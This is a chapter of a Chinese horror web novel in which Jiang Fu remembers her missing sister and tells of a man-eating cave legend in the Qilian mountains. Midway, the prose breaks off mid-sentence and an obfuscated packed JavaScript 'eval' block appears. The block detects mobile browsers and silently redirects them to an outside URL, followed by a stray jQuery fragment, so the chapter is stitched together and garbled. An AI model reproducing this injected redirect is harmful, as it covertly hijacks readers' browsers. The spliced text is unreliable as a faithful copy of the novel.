45. 回家

作品:《骸骨风筝

    玉米很好吃,刚从地里掰下来的新鲜玉米尤其如此。


    烤过以后,它变得香甜柔软,带着谷物类特有的芬芳。


    姜浮也饿了,啃得狂野,蹭得满脸都是黑灰的痕迹。白飞光反倒胃口不佳,只吃了半个,坐在火堆旁走神,看上去心事重重。


    姜浮终于吃饱,打了个小小的嗝儿,她有点犯困,慢吞吞地走到白飞光身侧,坐下。曲起双膝垫着下巴,找了个舒服的姿势:“想什么呢?”


    白飞光抬眸看了姜浮一眼,没说话。


    姜浮察觉出白飞光眼神有异:“怎么这个表情。”


    白飞光在思考,他在思考要不要问出自己看到的那个画面,姜浮昏迷的时候,他复盘了昨日的经历,其实从上次姜浮突然被袭击,随后又莫名其妙地被放掉,他就意识到事情有些奇怪。


    他和姜浮误入巢穴,在那种窄小的地方被攻击,怎么看都很难逃脱,但突然之间,攻击他们的东西却被按下了暂停键,由着他和姜浮跑了。


    白飞光从这种异样的变化里感到了不妥。


    再者是今日的事,在密室里,那个段安平本来情绪还算稳定,却突然发狂,白飞光复盘以后,想起了一个细节——姜浮因为呼吸不畅,摘下了脸上的口罩露出了脸。


    几乎是瞬间,看到了姜浮面容的段安平,突然情绪变得极其激动。


    最后,是关于崔丰谷的态度,白飞光始终觉得,他对姜浮的态度,非常奇怪。


    和姜浮相处的时间不算长,但白飞光对她的感觉……很好,不,甚至不能用很好来形容,简直就是好得过头了。白飞光忍不住皱眉,种种线索,似乎都在显示她,抑或者是她的亲人,似乎和这些人有着脱不开的关系。


    反复思量纠结,白飞光终于下定决心,他深深吸了一口气,看向姜浮,道:“姜浮,我有个问题想问你。”


    没有声音,身侧无人回应。


    白飞光偏头,看见了姜浮沉寂的睡颜。她显然很累,即便已经睡着,面容上也是满目疲惫,眼睛紧闭着,神态里的紧张和不安清晰可见。


    好不容易提起的决心泄了气,白飞光发出一声叹息,用手里的木棍,敲了敲面前的火堆:“现在该怎么办。”


    不是在问姜浮,是在问自己——白飞光啊白飞光,你心这么软,连叫醒她都舍不得,以后可怎么办。


    睡着的姜浮听不到白飞光的问话,她整个人蜷缩成一团,像只小小的茧。


    或许是被白飞光的问题惊扰,她嘴唇翕动,含糊地吐出断断续续的字节。


    音调很轻,白飞光靠得更近些,才听明白。


    “回家。”


    姜浮说的是这两个字,连在睡梦里,她也想着回家。


    **


    回家。


    妹妹胆子小,最是恋家。


    姐姐要去几公里开外的镇子上买糖吃,她想吃糖,又不想走远,一路上牵着姐姐的衣角,亦步亦趋地走。


    姐姐也不嫌弃她,放慢了步子由着她跟在自己身后。


    买了糖,往回走,却运气不好地遇到了沙尘。


    在那地方,风沙一卷,世界都变得昏天黑地,妹妹被石头绊倒,松开了牵着姐姐衣角的手,眼前只剩下昏黄的天空,妹妹张口大哭,不顾吃了满嘴的沙,嘴里却被塞进一块糖果,姐姐念叨她。


    “哭什么哭呀,姐带你回家。”


    **


    在从崔丰谷的口中听到那个特殊的地名后,姜浮已经下定决心要回去。


    自从妹妹丢失,她已经多年没有回去了,家成了她不敢提的地方。


    养母张凌霜在妹妹失踪后不久,家中又遭遇了不少意外,养母张凌霜因此去世。姥爷张贾短短一段时间里,两次白发人送黑发人,一夜之间苍老不少,话也变得更少。


    原本热热闹闹的家里,只剩下了一老一小和一条大狗。


    “姥爷,我想出去找妹妹。”姜浮同张贾说出这话时,其实已经下定了决心。


    张贾吧嗒吧嗒地抽着烟,最便宜的叶子烟,用纸一裹就能抽,劲头大得很。


    “去吧。”没有劝诫,老爷子说,“你妹娃胆子小,你去把她领回家。”


    烟雾缭绕,姜浮恍惚中看见老爷子的双眼湿润了,她以为自己看错了,养母从离世到下葬,他都没有流下一滴泪水。


    “姥爷,我能找到妹妹吗?”


    “能找到的,妹娃胆子小,走不远,一定能找到的。”


    那时的姥爷是这么说的,语气笃定,粗糙的手在姜浮的脑袋上用力地揉了揉。他看着姜浮,那双湿润浑浊的眼睛里,包含着幼年姜浮看不懂的复杂情绪,但最终全都化作了无法理解的冷漠。


    当时的姜浮看不懂,现在的她也不懂。


    姜浮觉得自己没什么优点,唯一的优点就是犟,毫无音讯地找了这么些年,一点线索都没有,目睹那么多惨剧,也没有使她的内心有任何的动摇。


    车上,睡醒的姜浮揉着眼睛,眼神迷离。


    “姜浮。”声音让她的思绪清醒了些,男人的眼神里有些担忧。


    姜浮看向他。


    “崔丰谷说的地喉咙,是什么意思?”这个词是白飞光第一次听到,很特别,之前从未听过。


    姜浮说:“是个地名。”


    “那个位置在祁连山腹地,是姥爷当年打猎的地方,我也在那里住过几年。”


    “这地方很特别吗?”白飞光问。


    “嗯。”姜浮说,“很特别,邪乎的厉害。”


    “邪乎?”


    “是,只要在那儿生活的小孩,都听过它的故事。”


    **


    在出事之前,地喉咙并不叫地喉咙。


    那是个地下河塌陷形成的大型溶洞,身处祁连山腹地,周围全是未经开发的原始森林,少有人至。


    建国前夕,天灾人祸,全国闹了一场惨绝人寰的饥荒,当地也来了好些逃难的人。食物不够吃,他们只能往山里找,越找越深,意外发现了这个洞穴。


    这些地方当地人是不敢去,那时候有好些神仙精怪的传说,住在森林周边的村民们也见过不少怪东西。怪东西也就罢了,最可怕的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848246|189134||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是,有人说经常在林子里看见穿白衣服的女人哭,她会问你能不能带她回家。


    这时候不能和她对视,更不能回答。


    如果答了能,她就会剖开你的肚子,披上你的皮,伪装成你的模样回你的家。如果回答了不能,她就会张开大嘴,一口把你吞了。


    当然,和饿死相比,这些缥缈的传说完全不足为道。


    一对带着两个孩子的夫妻,想在林子里摸蘑菇,越走越深,到了森林腹地。


    那时候太阳刚落山,几日没有饮食,饥肠辘辘的一家人无意间路过一个黑漆漆的洞穴,却闻到洞穴里,传来炖肉的香味。


    这种气味,对于一个多月都在啃树皮吃草根的人来说太致命了,虽然他们都觉得这荒山野岭闻到这味道有些不对头,但孩子太小,没经住诱惑,趁着爹娘一个不注意,溜进了洞穴里。


    父母吓了一大跳,赶紧叫他出来。


    “小囡,快出来。”洞穴外,闻着浓郁的肉味,女人焦急地呼唤。


    “哎,娘,里面东西可好吃了。”小孩回答,“有肉,好多肉。”


    说完,还真的传来了嘎吱嘎吱的声音,像在吃肉,还时不时嚼碎两块脆生生的软骨。


    “小囡,这荒山野岭的,哪里来的肉。”女人急了,“快出来!”她说着,就要进去找人。


    可是这会儿是晚上,洞穴里什么都看不见。


    还好月亮足够大,亮堂堂地挂在天上。


    “娘,真的有。”小孩说,“肉可多了。”


    女人迟疑了,空气里肉味愈发浓郁,她咽了咽口水,朝着自家男人投去询问的眼神。


    男人犹豫片刻,点了点头,两夫妻带着剩下的朝着洞里走去。


    后来再有人见到女人时,已经是她疯疯癫癫跑到村子里来求救的时候了。


    她披头散发,手还断了一只,惊恐地尖叫着:“吃,被吃了,小囡被山吃了——”


    众人不明所以。


    “小囡被山吃了,那山会说话呀,嚼断了,全给嚼断了,脑袋,手——脚——都没了——”


    “它还学着小囡说话啊——”


    女人披头散发,尖叫着,指甲在自己脸上拉出一道道狰狞的血痕,力道大得仿佛要将整张脸屁扯下来:“它还学着小囡说话啊——”


    这场面实在骇人。


    姜浮也见过这一幕,那时候的她还是个不到五岁的小孩,津津有味的吮着手指头,不明白众人脸上的恐惧意味着什么。女人的语句混乱,形容恐怖,花了好一会儿时间,众人才明白她到底在说什么。


    姜浮的养母张凌霜当时也在,她是第一个听懂女人话语中含义的,立马明白出了事儿。


    “娘,她说什么呢?”小姜浮懵懂地看着张凌霜面容上的惧色。


    张凌霜说:“乖,快回家去。”她看向那片山,日头才出来,山间浮起雾气,连绵的山脉在雾气里变成了黑色的剪影,像一只蛰伏的凶兽,要把它看到的一切,都吞进肚中。


    都说靠山吃山,可不住在山里的人不知道,大山也是吃人的。